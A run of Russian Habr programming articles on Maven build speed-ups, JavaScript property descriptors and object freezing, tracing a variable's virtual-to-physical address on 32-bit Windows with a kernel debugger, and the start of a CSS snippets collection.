Цифры намного лучше, но с большей дисперсией.
### Параллельное выполнение теста
Распараллеливание - отличный метод. Мы можем сделать то же самое в отношении выполнения тестов. По умолчанию плагин Maven Surefire запускает тесты последовательно, но можно настроить его для параллельного запуска тестов. Пожалуйста, обратитесь к [документации](https://maven.apache.org/surefire/maven-surefire-plugin/examples/fork-options-and-parallel-execution.html#Parallel_Test_Execution) за полным набором опций.
Этот подход отлично подходит, если у вас есть большое количество юнитов в каждом модуле. Обратите внимание, что ваши тесты **должны** быть независимыми друг от друга.
Мы вручную зададим количество потоков:
```
mvn test -Dparallel=all -DperCoreThreadCount=false -DthreadCount=16 #1 #2
```
1. Настройте Surefire для параллельного запуска классов и методов
2. Ручное изменение количества потоков до 16
Запустим и получим:
* 02:04 мин.
* 02:03 мин.
* 01:46 мин
* 01:52 мин
* 01:53 мин.
Похоже, что стоимость синхронизации потоков компенсирует потенциальную выгоду от выполнения параллельных тестов.
### Офлайн
Maven будет проверять, есть ли у `SNAPSHOT` зависимости новая «версия» при каждом запуске. Это означает дополнительные сетевые запросы. Мы можем предотвратить эту проверку с помощью опции `--offline`.
Хотя вам следует избегать `SNAPSHOT` зависимостей, иногда это неизбежно, особенно во время разработки.
Команда `mvn test -o`, `-o` является сокращением для `--offline`.
* 01:46 мин
* 01:46 мин
* 01:47 мин
* 01:55 мин.
* 01:44 мин
Кодовая база имеет большое количество `SNAPSHOT` зависимостей; следовательно, автономный режим значительно ускоряет сборку.
### Параметры JVM
Сам Maven - это приложение на основе Java. Это означает, что каждый запуск запускает новую JVM. JVM сначала интерпретирует *байт-код,***а** **затем** анализирует рабочий код и соответственно компилирует *байт-код* в *нативный код*: это обеспечивает максимальную производительность, но только после длительного времени сборки. Это отлично подходит для длительно выполняющихся процессов, а не для приложений командной строки.
Скорее всего, мы не достигнем максимальной производительности в контексте сборок, поскольку они относительно недолговечны, но мы по-прежнему расплачиваемся за время анализа.
Мы можем настроить Maven, чтобы отказаться от него, настроив соответствующие параметры JVM. Доступно несколько способов настройки JVM. Самый простой способ - создать специальный `jvm.config` файл конфигурации во вложенной папке `.mvn` проекта.
```
-XX: -TieredCompilation -XX: TieredStopAtLevel = 1
```
Давайте теперь просто запустим `mvn test`:
* 01:44 мин
* 01:44 мин
* 01:53 мин.
* 01:53 мин.
* 01:55 мин.
### Maven Daemon
[Демон Maven](https://github.com/mvndaemon/mvnd) является недавним дополнением к экосистеме Maven. Он инспирирован [демоном Gradle](https://docs.gradle.org/current/userguide/gradle_daemon.html) :
> **Gradle работает на виртуальной машине Java (JVM) и использует несколько вспомогательных библиотек, для которых требуется значительное** **время инициализации.**
>
> **В результате это иногда запуск может оказаться немного замедленным. Решением этой проблемы является Gradle Daemon: долгосрочный фоновый процесс, который выполняет ваши сборки намного быстрее, чем без него. Это достигается исключая дорогостоящий процесс начальной загрузки и используя кеширование для сохранения данных о вашем проекте в памяти.**
>
>
Команда Gradle осознала, что инструмент командной строки - не лучшее применение JVM. Чтобы решить эту проблему, нужно постоянно поддерживать фоновый процесс JVM, используя демон. Он работает как сервер, а интерфейс командной строки играет роль клиента.
В качестве дополнительного преимущества этот длительный процесс загружает классы только один раз (если они не менялись между запусками).
После установки программного обеспечения вы можете запустить демон с помощью `mvnd` команды вместо стандартной `mvn`. Вот результаты выполнения команды: `mvnd test`:
* 33.124 s (Wall Clock)
* 33.114 s (Wall Clock)
* 34.440 s (Wall Clock)
* 32.025 s (Wall Clock)
* 29.364 s (Wall Clock)
Обратите внимание, что по умолчанию демон использует несколько потоков с расширением `number of cores - 1`.
### Объединение методов
Мы видели несколько способов ускорить сборку. Что, если бы мы использовали их вместе?
Давайте сначала попробуем использовать все методы, которые мы видели до сих пор, в одном и том же прогоне:
```
mvnd test -Dparallel=all -DperCoreThreadCount=false -DthreadCount=16 -o #1 #2 #3 #4
```
1. Используем демон Maven
2. Запускаем тесты параллельно
3. Не обновляем `SNAPSHOT` зависимости
4. Настраиваем параметры JVM, как указано выше, через `jvm.config` файл - нет необходимости устанавливать какие-либо параметры
Команда возвращает следующие результаты:
* 27.061 s (Wall Clock)
* 24.457 s (Wall Clock)
* 24.853 s (Wall Clock)
* 25.772 s (Wall Clock)
Давайте вспомним, что демон Maven *-* это длительный процесс. По этой причине разумно позволить JVM проанализировать и скомпилировать *байт-код* в *нативный код*. Таким образом, мы можем удалить `jvm.config` файл и повторно запустить указанную выше команду. Результаты:
* 23.840 s (Wall Clock)
* 26.589 s (Wall Clock)
* 22.283 s (Wall Clock)
* 23.788 s (Wall Clock)
* 22.456 s (Wall Clock)
Теперь мы можем отобразить сводные результаты:
| | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| | Baseline | Parallel Build | Parallel Tests | Offline | Jvm Params | Daemon | Daemon + Offline + Parallel Tests + Parameters | Daemon + Offline + Parallel Tests |
| #1 (s) | 120.00 | 51.00 | 128.00 | 106.00 | 104.00 | 33.12 | 27.06 | 23.84 |
| #2 (s) | 117.00 | 40.00 | 123.00 | 106.00 | 104.00 | 33.11 | 24.46 | 26.59 |
| #3 (s) | 118.00 | 52.00 | 106.00 | 107.00 | 113.00 | 34.44 | 24.85 | 22.28 |
| #4 (s) | 116.00 | 42.00 | 112.00 | 115.00 | 113.00 | 32.03 | 25.77 | 23.79 |
| #5 (s) | 118.00 | 42.00 | 113.00 | 104.00 | 115.00 | | 29.36 | 22.46 |
| Average (s) | \*117.80\* | 45.40 | 116.40 | 107.60 | 109.80 | 32.41 | 25.54 | 23.79 |
| Deviation | 1.76 | 25.44 | 63.44 | 14.64 | 22.96 | 2.91 | 1.00 | 2.38 |
| Gain from baseline (s) | - | 72.40 | 1.40 | 10.20 | 8.00 | 85.39 | 92.26 | **94.01** |
| % gain | - | 61.46% | 1.19% | 8.66% | 6.79% | 72.48% | 78.32% | **79.80%** |
### Заключение
В этом посте мы увидели несколько способов ускорить сборку Maven. Вот их краткое изложение:
* **Демон Maven**: надежная и безопасная отправная точка
* **Распараллеливание сборки**: когда сборка содержит несколько модулей, независимых друг от друга.
* **Распараллеливание тестов**: когда проект содержит несколько тестов.
* **Автономность**: когда проект содержит `SNAPSHOT`зависимости *и* вам не нужно их обновлять.
* **Параметры JVM**: когда вы хотите сделать все возможное
Я бы посоветовал каждому пользователю начать использовать демон Maven и продолжить оптимизацию при необходимости и в зависимости от вашего проекта.
В следующем посте мы сосредоточимся на ускорении ваших сборок Maven в контейнере.
**Чтобы продвинуться дальше, прочтите:**
* [Parallel builds in Maven 3](https://cwiki.apache.org/confluence/display/MAVEN/Parallel+builds+in+Maven+3)
* [Surefire Parallel Test Execution](https://maven.apache.org/surefire/maven-surefire-plugin/examples/fork-options-and-parallel-execution.html#Parallel_Test_Execution)
* [mvnd - the Maven Daemon](https://github.com/mvndaemon/mvnd) | https://habr.com/ru/post/582688/ | null | ru | null |
# Подробности о JavaScript-объектах
Автор материала, перевод которого мы сегодня публикуем, говорит, что в JavaScript-объектах содержится много такого, о существовании чего можно и не подозревать, пользуясь ими в повседневной работе. Объекты в JavaScript очень легко создавать, с ними удобно работать, они кажутся понятными и гибкими сущностями, и многие программисты попросту не задумываются о том, что на самом деле устроены объекты не так уж и просто.
[](https://habr.com/ru/company/ruvds/blog/438794/)
> **NB:** Информацию из публикации на практике следует применять крайне аккуратно и под присмотром более опытных коллег.
Здесь мы поговорим о том, что скрыто в глубинах объектов и обсудим тонкости работы с ними.
Освоив этот материал, вы будете знать ответы на следующие вопросы:
* Как сделать свойство объекта неудаляемым?
* Что представляют собой свойства с методами доступа и каковы их особенности?
* Как сделать свойство иммутабельным или скрытым?
* Почему некоторые свойства не видны в циклах `for-in` или в результатах работы метода `Object.keys()`, а некоторые — видны?
* Как «защитить» объект от модификации?
* Как понять фрагмент кода, подобный следующему:
```
obj.id = 5;
console.log(obj.id)
// => '101' (5 в двоичной системе счисления)
```
Виды свойств объектов
---------------------
### ▍Свойства, хранящие данные
Вероятно, вам доводилось создавать бесчисленное множество объектов, напоминающих этот:
```
const obj = {
name: 'Arfat',
id: 5
}
obj.name
// => 'Arfat'
```
Свойства `name` и `id` объекта `obj` называются свойствами, хранящими данные, или «свойствами с данными» (Data Properties). Это — привычные свойства, которые постоянно встречаются в JavaScript-коде. Какими ещё видами свойств могут обладать объекты?
### ▍Свойства с методами доступа
Такие свойства ещё известны как геттеры и сеттеры, они встречаются и в других языках программирования наподобие C# или Python. Свойство с методами доступа (Accessor Property) представляет собой комбинацию из двух функций — `get` и `set`.
При объявлении таких свойств вместо использования традиционной конструкции вида `ключ: значение` применяется следующий синтаксис:
```
const accessorObj = {
get name() {
return 'Arfat';
}
};
accessorObj.name;
// => 'Arfat'
const dataObj = {
name: 'Arfat',
};
dataObj.name;
// => 'Arfat'
```
Взгляните на объект `accesorObj` и сравните его с объектом `dataObj`. Как видно, сейчас они демонстрируют одинаковое поведение. При описании первого объекта мы воспользовались ключевым словом `get`, за которым следует объявление функции. Для того чтобы получить доступ к подобному свойству, хотя оно и представлено функцией, не нужно ставить после имени свойства круглые скобки для вызова этой функции. То есть конструкция наподобие `accessorObj.name();` некорректна.
При попытке доступа к свойству `accessorObj.name`, то есть, при попытке его чтения, выполняется соответствующая функция и возвращаемое ей значение становится значением свойства `name`.
Функции `get` называют геттерами, они отвечают за получение значений. Если продолжить наш пример и попытаться поменять значение свойства `name` объекта `accessorObj`, скажем, выполнив команду `accessorObj.name = 'New Person’;`, то окажется, что ничего не произойдёт. Дело тут в том, что с ключом `name` не связана функция-сеттер. Такие функции позволяют настраивать порядок назначения новых значений свойствам объектов, доступ к которым организован с помощью геттеров.
Вот как выглядит объявление объекта с геттером и сеттером:
```
const accessorObj = {
_name: 'Arfat',
get name() {
return this._name;
},
set name(value) {
this._name = value;
}
};
```
Функция-сеттер получает то, что пытаются присвоить свойству объекта, в качестве параметра. Теперь в свойстве объекта можно что-нибудь сохранить. В данном случае мы создаём «приватное» свойство объекта `_name`. Первым символом имени такого свойства является знак подчёркивания, который является не более чем подсказкой для программиста, указывающей на то, что это свойство предназначено для внутренних нужд объекта. Далее, мы работаем с ним при обращении к свойству объекта `name`, доступ к которому регулируется геттером и сеттером.
При этом в функции-геттере, перед возвратом значения свойства `_name`, мы можем его модифицировать.
Вот как это может выглядеть:
```
const obj = {
get name() {
return this._name.toUpperCase();
},
set name(value) {
this._name = value;
},
get id() {
return this._id.toString(2); // Преобразуем десятичное число в его двоичное представление
},
set id(value) {
this._id = value;
}
}
obj.name = 'Arfat';
obj.name;
// => 'ARFAT'
obj.id = 5;
obj.id;
// => '101
```
Эта программа, кстати, содержит ответ на один из вопросов, приведённых в начале статьи, который касается разбора непонятного на первый взгляд кода.
Зачем кому-то могут понадобиться свойства с методами доступа, если можно спокойно работать с обычными свойствами? Например, они могут понадобиться для того, чтобы записывать в журнал сведения об операциях чтения свойств, или для того, чтобы хранить историю изменений значений свойств. Свойства с методами доступа дают нам все возможности обработки данных с помощью функций и простоту, характерную для работы с обычными свойствами. Подробнее об использовании таких свойств можно почитать [здесь](https://stackoverflow.com/questions/1568091/why-use-getters-and-setters-accessors).
Как JavaScript отличает обычные свойства, хранящие данные, от свойств с методами доступа? Выясним это.
Дескрипторы свойств объектов
----------------------------
На первый взгляд может показаться, что существует прямое соответствие между ключами и значениями, хранящимися в объектах. Однако это не совсем так.
### ▍Атрибуты свойств
С каждым ключом объекта связан набор атрибутов, которые определяют характеристики значения, связанного с данным ключом. Эти атрибуты можно ещё рассматривать как метаданные, описывающие пару `ключ: значение`.
Атрибуты используются для задания и описания состояния свойств объектов. Набор атрибутов свойства называется дескриптором. Существует шесть атрибутов свойств:
* `[[Value]]`
* `[[Get]]`
* `[[Set]]`
* `[[Writable]]`
* `[[Enumerable]]`
* `[[Configurable]]`
Почему названия атрибутов свойств в этом списке заключены в конструкцию `[[]]`? Двойные скобки указывают на то, что это — сущности, используемые внутренними механизмами языка. JS-программист не может обращаться к этим свойствам напрямую. Для того чтобы повлиять на них, используются соответствующие методы.
Рассмотрим следующее изображение, взятое [отсюда](https://mathiasbynens.be/notes/shapes-ics), на котором можно видеть объект и атрибуты его свойств.
*Объект и атрибуты его свойств*
У нашего объекта есть 2 ключа — `x` и `y`. При этом с каждым из них связан набор атрибутов.
Как, средствами JavaScript, получить сведения об объекте, подобные тем, которые показаны на предыдущем рисунке? Для этого можно использовать функцию `Object.getOwnPropertyDescriptor()`. Она принимает объект и имя его свойства, после чего возвращает объект, содержащий атрибуты этого свойства. Вот пример:
```
const object = {
x: 5,
y: 6
};
Object.getOwnPropertyDescriptor(object, 'x');
/*
{
value: 5,
writable: true,
enumerable: true,
configurable: true
}
*/
```
Надо отметить, что состав атрибутов конкретного свойства зависит от его вида. Все шесть атрибутов у одного и того же свойства не встречаются.
* Если речь идёт о свойствах с данными, то у них будут только атрибуты `[[Value]]`, `[[Writable]]`, `[[Enumerable]]` и `[[Configurable]]`.
* Свойства с методами доступа, вместо атрибутов `[[Value]]` и `[[Writable]]`, имеют атрибуты `[[Get]]` и `[[Set]]`.
### ▍[[Value]]
Этот атрибут хранит то, что выдаётся при попытке получения значения свойства объекта. То есть, если в предыдущем примере мы воспользуемся конструкцией вида `object.x`, мы получим то, что хранится в атрибуте `[[Value]]`. То же самое произойдёт и при попытке чтения свойства объекта с использованием квадратных скобок.
### ▍[[Get]]
Данный атрибут хранит ссылку на функцию, которая представляет собой свойство-геттер. Эта функция вызывается без аргументов при попытке чтения значения свойства.
### ▍[[Set]]
Здесь хранится ссылка на функцию, объявляемую при создании свойства-сеттера. Она вызывается с аргументом, представляющим собой то значение, которое попытались присвоить свойству, то есть, вызывается при каждой операции назначения свойству нового значения.
```
const obj = {
set x(val) {
console.log(val)
// => 23
}
}
obj.x = 23;
```
В этом примере правая часть выражения передаётся в виде аргумента `val` функции-сеттеру. [Вот](https://gist.github.com/ArfatSalman/07f8663adfd78ddc4af8ebea152cdbae) код, в котором демонстрируется использование сеттеров и геттеров.
### ▍[[Writable]]
Этот атрибут хранит логическое значение. Оно указывает на то, можно ли перезаписывать значение свойства или нет. Если здесь хранится значение `false`, то попытки изменить значение свойства успехом не увенчаются.
### ▍[[Enumerable]]
Здесь тоже хранится логическое значение. Этот атрибут регулирует выдачу свойства в циклах `for-in`. Если он установлен в значение `true`, то со свойством можно будет работать с помощью таких циклов.
### ▍[[Configurable]]
Этот атрибут тоже представлен логическим значением. Вот что происходит в том случае, если в нём хранится значение `false`:
* Свойство нельзя будет удалить.
* Нельзя будет преобразовывать свойства, хранящие данные, в свойства с методами доступа, и наоборот. Попытки выполнения подобных преобразований ни к чему не приведут.
* Будет запрещено изменять значения атрибутов свойства. То есть неизменяемыми окажутся текущие значения атрибутов `[[Enumerable]]`, `[[Configurable]]`, `[[Get]]` и `[[Set]]`.
Эффект, оказываемый установкой этого атрибута в значение `false`, кроме того, зависит от вида свойства. Этот атрибут, помимо вышеописанного воздействия на свойства, действует на них и так:
* Если перед нами — свойство, которое хранит данные, то атрибут `[[Writable]]` можно лишь изменить с `true` на `false`.
* До тех пор, пока атрибут `[[Writable]]` не установлен `false`, можно менять атрибут `[[Value]]`. Но после того как в `false` будут установлены атрибуты `[[Writable]]` и `[[Configurable]]`, свойство окажется незаписываемым, неудаляемым и неизменяемым.
Работа с дескрипторами
----------------------
Теперь, когда мы познакомились с атрибутами, зададимся вопросом о том, как нам можно на них влиять. В JavaScript существуют специальные функции, предназначенные для работы с дескрипторами свойств. Поговорим о них.
### ▍Метод Object.getOwnPropertyDescriptor()
Мы уже встречались с этим методом. Он, принимая объект и имя его свойства, возвращает либо `undefined`, либо объект с дескриптором свойства.
### ▍Метод Object.defineProperty()
Это — статический метод `Object`, который позволяет добавлять свойства к объектам или менять существующие свойства. Он принимает три аргумента — объект, имя свойства и объект с дескриптором. Этот метод возвращает модифицированный объект. Рассмотрим пример:
```
const obj = {};
// #1
Object.defineProperty(obj, 'id', {
value: 42
});
// #2
console.log(obj);
// => { }
// #3
console.log(obj.id);
// => 42
// #4
Object.defineProperty(obj, 'name', {
value: 'Arfat',
writable: false,
enumerable: true,
configurable: true
});
// #5
console.log(obj.name);
// => 'Arfat'
// #6
obj.name = 'Arfat Salman'
// #7
console.log(obj.name);
// => 'Arfat'
// (а не 'Arfat Salman')
Object.defineProperty(obj, 'lastName', {
value: 'Salman',
enumerable: false,
});
console.log(Object.keys(obj));
// => [ 'name' ]
// #8
delete obj.id;
// #9
console.log(obj.id);
// => 42
//#10
Object.defineProperties(obj, {
property1: {
value: 42,
writable: true
},
property2: {}
});
console.log(obj.property1)
// => 42
```
Его можно запустить в среде Node.js. Код получился довольно большим, но, на самом деле, он довольно прост. Разберём его, ориентируясь на комментарии вида `// #n`.
Во фрагменте `#1` мы пользуемся функцией `defineProperty`, передавая ей объект `obj`, имя свойства `id` и объект-дескриптор, содержащий лишь свойство `value`, указывающее на то, что в атрибут `[[Value]]` будет записано значение `42`. Помните о том, что если не передать в этом объекте значения для атрибутов наподобие `[[Enumerable]]` или `[[Configurable]]`, то они, по умолчанию, будут установлены в значение `false`. В данном случае атрибуты `[[Writable]]`, `[[Enumerable]]` и `[[Configurable]]` свойства `id` установлены в `false`.
В месте, отмеченном как `#2`, мы пытаемся вывести строковое представление объекта в консоль. Так как его свойство `id` является неперечисляемым, выведено оно не будет. При этом свойство существует, что доказывает его успешный вывод командой `#3`.
Создавая объект (фрагмент `#4`), мы задаём полный список атрибутов. В частности, устанавливаем `[[Writable]]` в значение `false`.
Командами `#5` и `#7` мы выводим значение свойства `name`. Но между ними (фрагмент `#6`) мы попытались изменить это значение. Эта операция не привела к изменению значения свойства, так как его атрибут `[[Writable]]` установлен в `false`. В результате обе команды выводят в консоль одно и то же.
Команда `#8` представляет собой попытку удаления свойства `id`. Вспомним о том, что его атрибут `[[Configurable]]` установлен в значение `false`, а это значит, что удалить его нельзя. Это доказывает команда `#9`.
Во фрагменте `#10` показано использование функции [Object.defineProperties()](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties). Она работает так же, как и функция `defineProperty()`, но позволяет, за один вызов, воздействовать на несколько свойств объекта, в то время как `defineProperty()` работает лишь с одним свойством объекта.
Защита объектов
---------------
Периодически разработчику нужно защищать объекты от вмешательства извне. Например, учитывая гибкость JavaScript, очень легко по ошибке изменить свойства некоего объекта, которые меняться не должны. Существует три основных способа защиты объектов.
### ▍Метод Object.preventExtensions()
Метод `Object.preventExtensions()` предотвращает расширение объекта, то есть — добавление в него новых свойств. Он принимает объект и делает его нерасширяемым. Обратите внимание на то, что свойства из такого объекта можно удалять. Рассмотрим пример:
```
const obj = {
id: 42
};
Object.preventExtensions(obj);
obj.name = 'Arfat';
console.log(obj);
// => { id: 42 }
```
Для того чтобы узнать, является ли некий объект нерасширяемым, можно воспользоваться методом `Object.isExtensible()`. Если он вернёт `true`, значит в объект можно добавлять новые свойства.
### ▍Метод Object.seal()
Метод `seal()` как бы «запечатывает» объекты. Вот о чём идёт речь:
* Его применение предотвращает добавление в объект новых свойств (в этом он похож на `Object.preventExtensions()`).
* Он делает все существующие свойства объекта неконфигурируемыми.
* Значения существующих свойств, если их атрибут `[[Writable]]` не установлен в `false`, можно менять.
В результате оказывается, что этот метод предотвращает добавление в объект новых свойств и удаление из него существующих в нём свойств.
Рассмотрим пример:
```
const obj = {
id: 42
};
Object.seal(obj);
delete obj.id
// (не работает)
obj.name = 'Arfat';
// (не работает)
console.log(obj);
// => { id: 42 }
Object.isExtensible(obj);
// => false
Object.isSealed(obj);
//=> true
```
Для проверки того, «запечатан» объект или нет, можно воспользоваться методом `Object.isSealed()`.
### ▍Метод Object.freeze()
Метод `freeze()` позволяет «замораживать» объекты, оснащая их максимально возможным в JavaScript уровнем защиты. Вот как он работает:
* «Запечатывает» объект с помощью `Object.seal()`.
* Полностью запрещает модификацию любых существующих свойств объекта.
* Запрещает модификацию дескрипторов свойств.
Вот пример:
```
const obj = {
id: 42
};
Object.freeze(obj);
delete obj.id
// (не работает)
obj.name = 'Arfat';
// (не работает)
console.log(obj);
// => { id: 42 }
Object.isExtensible(obj);
// => false
Object.isSealed(obj);
//=> true
Object.isFrozen(obj);
// => true
```
Проверить объект на то, «заморожен» ли он, можно с помощью метода `Object.isFrozen()`.
### ▍Обзор методов, используемых для защиты объектов
Важно отметить, что вышеописанные методы, используемые для защиты объектов, воздействуют только на их свойства, не являющиеся объектами.
Вот сводная таблица по рассмотренным методам защиты объектов, которая взята [отсюда](https://github.com/piecioshka/test-freeze-vs-seal-vs-preventExtensions).
| | | | | |
| --- | --- | --- | --- | --- |
| | Создание свойства | Чтение свойства | Перезапись свойства | Удаление свойства |
| `Object.freeze()` | — | + | — | — |
| `Object.seal()` | — | + | + | — |
| `Object.preventExtensions()` | — | + | + | + |
Итоги
-----
Учитывая то, как часто объекты используются в JavaScript-коде, каждому разработчику важно знать о том, как они устроены. Надеемся, то, что вы узнали, прочтя этот материал, вам пригодится. К тому же, теперь вы знаете ответы на вопросы, перечисленные в начале статьи.
**Уважаемые читатели!** Как вы защищает JavaScript-объекты?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/438794/ | null | ru | null |
# Эксперимент: ищем int i = 0xDEADBEEF в дампе физической памяти
Изучение виртуального адресного пространства и алгоритма преобразования адресов заметно упростится, если начать с несложного практического примера. Для этого напишем простую программу, выводящую адрес локальной переменной:
```
int main()
{
unsigned i = 0xDEADBEEF;
std::cout << "address of i is " << std::hex << &i
std::cin.get(); //Чтобы процесс не завершился
return 0;
}
```
Затем попробуем найти физический адрес и просмотреть значение по этому адресу.
Будем рассматривать 32-битную Windows (без всяких Physical Address Extension), потому что 64-битная сложнее. Описание преобразования упрощено, но достаточно для нашего эксперимента. Рекомендую проверять в виртуалке. Неважно в какой, но в конце я покажу как выгрузить дамп памяти в VirtualBox.
Основы
------
В моем случае адрес получился равным 0x22FF2C. Вообще, он может различаться при каждом запуске программы (см. [ASLR](https://ru.wikipedia.org/wiki/ASLR)). У других процессов по этому адресу могут находиться какие-то свои значения, потому что это не физический, а виртуальный адрес. Пожалуй, основное предназначение виртуального адресного пространства – возможность предоставлять каждому процессу собственное адресное пространство, в котором он бы не мешал другим. Размер виртуального адресного пространства зависит от платформы. Для x86 теоретический максимальный размер составляет 4 Гб. По умолчанию, первая половина (0 – 0x7FFFFFFF) является пространством процессов пользователя, в котором располагается образ исполняемого файла текущего процесса, его стек, куча и прочее. Вторая половина (0x80000000 – 0xFFFFFFFF) – системным. С некоторыми оговорками можно считать, что пространство процессов пользователя уникально для каждого процесса, а системное только одно. Адрес 0x22FF2C, очевидно, попал в первую половину.
Виртуальное адресное пространство разбито на 0x100000 (1048576) страниц размером 4096 байт каждая. Физическая память также разбита на страницы такого же размера, называемых страничными блоками. Страницы (не все, конечно) отображаются на страничные блоки, поэтому для каждой страницы нужна информация о ее расположении в физической памяти. Всем 0x100000 страницам соответствует столько же 4-байтовых записей, называемых PTE (page table entry – запись таблицы страниц). В виртуальном пространстве они расположены в диапазоне адресов 0xC0000000 — 0xC03FFFFF, и занимают 1024 страницы, называемых таблицами страниц. Получить запись просто: k-й странице соответствует k-я запись.
*Оранжевым отмечены таблицы страниц.*
```
virtual_address = 0x22FF2C
page_index = virtual_address / 4096
pte_addr = 0xC0000000 + page_index * 4
```
Умножение на 4 потому что PTE – 4-байтовые. Получаем, что в нашем случае pte\_addr = 0xC00008BC
Наивная попытка
---------------
Адрес PTE есть, пробуем узнать что там:
```
std::cout << "PTE is " << std::hex << *(unsigned*)0xC00008BC;
```
Ну, ой. Аппаратное исключение. А все потому, что мы пытались читать из системного пространства. ReadProcessMemory тоже не поможет. Вызов VirtualQuery скажет нам PAGE\_NOACCESS. Получить доступ можно только получив привилегии режима ядра. Пожалуй, самый простой способ для нашей исследовательской задачи — использовать отладчик ядра.
Использование отладчика ядра
----------------------------
Ставим [KD](https://msdn.microsoft.com/en-us/library/windows/hardware/ff551063(v=vs.85).aspx) и [LiveKd](https://technet.microsoft.com/ru-ru/sysinternals/livekd.aspx). LiveKD позволяет запускать отладчики ядра Microsoft Kd и Windbg, входящие в пакет инструментов отладки для Windows, в действующей системе в локальном режиме. По последней ссылке также небольшая справка по установке и справке.
Запускаем наш пример (пусть он называется main.exe). Запускаем LiveKd. Пишем "`!process 0 0`", чтобы вывести список всех работающих процессов, или сразу "`!process 0 0 main.exe`"
```
0: kd> !process 0 0 main.exe
PROCESS 86530118 SessionId: 1 Cid: 0dcc Peb: 7ffdd000 ParentCid: 0428
DirBase: 2402e000 ObjectTable: 8879f430 HandleCount: 16.
Image: main.exe
```
Нас интересует адрес после слова PROCESS (это адрес на структуру EPROCESS, содержащей атрибуты процесса). Подключаемся к процессу:
```
0: kd> .process 86530118
Implicit process is now 86530118
```
Проверяем содержимое по адресу 0x22FF2C, чтобы убедиться, что все сделали правильно:
```
0: kd> dd 22FF2C L1
0022ff2c deadbeef
```
По умолчанию используются шестнадцатеричные числа. Команда `dd` выводит несколько 4-байтовых значений, начиная с указанного виртуального адреса. L1 – вывод только одного значения.
Чтение PTE
----------
```
0: kd> dd C00008BC L1
c00008bc 6612f847
```
Можно было самим не считать:
```
dd C0000000 + (22FF2C >> 0xC) * 4 L1
c00008bc 6612f847
```
В значении PTE записи 6612f847 первые 20 бит (5 hex-цифр) – индекс страничного блока, остальное – различные флаги. Чтобы получить адрес страничного блока, нужно индекс умножить на размер блока – 4096 байт.
```
page_block_index = 0x6612F
page_block_address = page_block_index << 12 = 0x6612F000 //Умножение на 4096
```
Порядок байтов внутри страницы и страничного блока совпадает, поэтому необходимо рассчитать смещение внутри страницы и прибавить к адресу страничного блока:
```
virtual_adress = 0x22FF2C
offset = virtual_adress & 0xFFF = 0xF2C //Последние три hex-цифры
phisycal_address = page_block_address + offset = 0x6612FF2C
```
Проверяем:
```
0: kd> !dd 6612FF2C L1
#6612ff2c deadbeef
```
Команда `!dd` аналогична `dd`, только принимает физические адреса.
Мы выяснили, что наш адрес можно представить так:
```
0x22FF2C = b 00000000001000101111 111100101100
20 бит 12 бит
page_index byte_offset
```
Но еще заметьте, что найденная PTE находится в 0-й таблице страниц с индексом 0x22F внутри нее. И наш адрес может быть представлен так:
```
0x22FF2C = b 0000000000 1000101111 111100101100
10 бит 10 бит 12 бит
table_idx PTE_index byte_offset
```
We need to go deeper (PDE)
--------------------------
Пользоваться виртуальными адресами PTE неспортивно. Ведь они тоже являются обычными страницами которым нужно найти страничные блоки. А раз так, то просто найдем свои PTE для этих страниц. Всего у нас 1024 таких страниц (называемых таблицами страниц) и все PTE для них помещаются в одной странице. Эту страницу называют каталогом страниц и она содержит 1024 записи (называемых PDE – page directory entry, запись каталога страниц) с адресами на таблицы страниц.
*Синим отмечен каталог таблиц, оранжевым – таблицы страниц.*
Поступаем точно так же, как уже делали:
```
pte_addr = 0xC00008BC
page_index = pte_addr / 4096 = 0xC0000
pde_addr = 0xC0000000 + page_index * 4 = 0xC0300000
```
Получили адрес PDE = 0xC0300000 (все PDE хранятся в странице по адресу 0xC0300000, мы попали в нулевую PDE). Проверяем содержимое:
```
0: kd> dd C0300000 L1
c0300000 0b21d867
```
Полностью аналогично: PDE, содержащая 0b21d867, дает нам адрес 0x0B21D000 страничного блока с таблицей страниц. Осталось найти в ней нужную PTE. Вспомним, что адресу 0x22FF2C соответствует PTE с индексом 0x22F в 0-й таблице (со смещением 0x22F \* 4). Значит, PTE находится по адресу 0x0B21D000 + 0x22F \* 4.
```
0: kd> !dd 0b21d000 + 0x22f * 4
# b21d8bc 6612f847
```
С адресом 6612f847 мы уже работали.
Осталось выяснить, где в физической памяти находится каталог (так как мы получали PDE с помощью виртуальной адресации). Адрес был указан в DirBase, когда мы просмотрели информацию о процессе командой "`!process 0 0 main.exe`". В нашем случае DirBase = 2402e000
```
0: kd> !dd 2402e000
#2402e000 0b21d867
```
Итоговая формула
----------------
```
0x22FF2C = b 0000000000 1000101111 111100101100
10 бит 10 бит 12 бит
PDE_index PTE_index byte_offset
pde_addr = DirBase + PDE_index * 4
pte_addr = ((*pde_addr) & 0xFFFFF000) | (PTE_index * 4)
value_addr = ((*pte_addr) & 0xFFFFF000) | byte_offset
```
Ищем в дампе
------------
Думаю, снять дамп с работающей системы несколько проблематично, поэтому снимем с VirtualBox. Для этого нужно запустить в режиме отладки:
```
VirtualBox.exe --dbg --startvm VM_name
```
Выбрать в меню "Отладка" -> "Командная строка..." и набрать:
```
.pgmphystofile "path_to_dump_file"
```
Открываем файл (я пользуюсь HxD), переходим на 6612ff2c:
Зная DirBase и виртуальный адрес можно искать значение сразу в дампе, без отладчика. Вообще, в дампе можно найти значение DirBase по имени процесса, но это уже другая история. | https://habr.com/ru/post/322636/ | null | ru | null |
# 30 секунд CSS
Предлагаем вашему вниманию коллекцию полезных CSS-сниппетов, в которых вы можете разобраться за 30 секунд, а то и быстрее.
Clearfix
--------
Позволяет элементу автоматически применять clear к своим дочерним элементам.
*Примечание: полезно только в том случае, если вы всё ещё используете float при создании макетов. Рассмотрите возможность перейти на более современные подходы с применением flexbox или сетки.*
### HTML
```
float a
float b
float c
```
### CSS
```
.clearfix::after {
content: "";
display: block;
clear: both;
}
.floated {
float: left;
}
```
### Пример
### Объяснение
1. `.clearfix::after` определяет псевдоэлемент.
2. `content: ''` позволяет псевдоэлементу влиять на макет.
3. `clear: both` означает, что в рамках одного блочного отформатированного контекста левая, или правая, или обе стороны элемента не могут примыкать к элементам, к которым ранее применено float.
### Поддержка в браузерах
99+ %
Подводных камней нет.
Постоянное соотношение ширины к высоте
--------------------------------------
Если у элемента изменяется ширина, то и высота динамически меняется пропорционально, с заданным коэффициентом (то есть отношение ширины к высоте остаётся неизменным).
### HTML
### CSS
```
